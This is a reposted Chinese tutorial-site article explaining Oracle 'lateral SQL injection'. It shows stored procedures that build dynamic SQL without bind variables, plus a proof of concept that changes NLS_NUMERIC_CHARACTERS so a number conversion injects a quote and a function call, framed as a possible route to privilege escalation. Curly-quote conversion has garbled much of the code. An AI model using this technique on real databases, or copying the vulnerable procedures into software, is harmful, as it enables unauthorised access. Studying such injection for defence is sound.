• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • MsSql
  • Mysql
  • oracle
  • MariaDB
  • DB2
  • SQLite
  • PostgreSQL
  • MongoDB
  • Redis
  • Access
  • 数据库其它
  • sybase
  • HBase
您的位置:首页 > 数据库 >oracle > ORACLE LATERAL-SQL-INJECTION 个人见解

ORACLE LATERAL-SQL-INJECTION 个人见解

作者: 字体:[增加 减小] 来源:互联网 时间:2017-05-11

通过本文主要向大家介绍了企业管理个人见解,个人见解及分析,个人见解和决策的关系,工作个人见解,个人见解 日语等相关知识,希望本文的分享对您有所帮助
如果直接执行SQL语句或者参数绑定则不用担心太多,
如以下ORACLE存储过程
create or replace procedure kjdatepoc(date d)

as

begin

insert into kjdatetable values(d);

commit;

end;

根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。

例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE

看以下存储过程

create or replace procedure kjdatepoc(date d)

as

begin

execute immediate ‘insert into kjdatetable values('|| d ||')';

commit;

end;

那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,

老外的PAPER讲解得非常详细了 ,我在这里也不废话。

惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!

看以下语句

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;

输出一下结果

1000′10001

只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程

create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)

is

SecStr varchar2(1000);

begin

SecStr:=replace(kjexpstr,””,”””);

sys.dbms_output.put_line('SELECT * FROM DUAL WHERE ID='||kjexpnum||' and name=”'||SecStr||””);

end;

内部对varchar类型进行替换了!我们可以进行测试

begin

numinjpoc(1000,”'–');

end;

其输出SQL语句为

SELECT * FROM DUAL WHERE ID=1000 and name=”'–'

单引号被转义掉了

那么如果我们结合这个NUMBER类型怎么进行注射呢?

ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';

begin

numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');

end;

看看输出结果

SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()–'

这样就可以间接的攻击它…

在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。
</div>
分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • ORACLE LATERAL-SQL-INJECTION 个人见解

相关文章

  • 2017-05-11Oracle 分区索引介绍和实例演示
  • 2017-05-11ORACLE随机数DBMS_RANDOM包
  • 2017-05-11ORACLE时间函数(SYSDATE)深入理解
  • 2017-05-11Oracle 数据库中创建合理的数据库索引
  • 2017-05-11oracle数据库下统计专营店的男女数量的语句
  • 2017-05-11Linux系统下Oracle数据库的安装和启动关闭操作教程
  • 2017-05-11And,Where使用提示以及用+进行左关联的提示及注意事项
  • 2017-05-11Oracle层次查询和with函数的使用示例
  • 2017-05-11ORACLE常见错误代码的分析与解决(一)
  • 2017-05-11用Mimer Validator检查SQL查询

文章分类

  • MsSql
  • Mysql
  • oracle
  • MariaDB
  • DB2
  • SQLite
  • PostgreSQL
  • MongoDB
  • Redis
  • Access
  • 数据库其它
  • sybase
  • HBase

最近更新的内容

    • Windows系统安装Oracle 11g 数据库图文教程
    • Oracle数据库密码文件的使用和维护
    • 在Oracle的函数中,返回表类型的语句
    • 深入探讨:oracle中方案的概念以及方案与数据库的关系
    • Oracle 单行函数
    • Oracle开发之分析函数总结
    • ORACLE数据库日常维护知识点总结
    • Oracle删除archivelog文件的正确方法
    • Oracle查看逻辑读、物理读资源占用排行的SQL语句
    • 解析Oracle查询和删除JOB的SQL

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有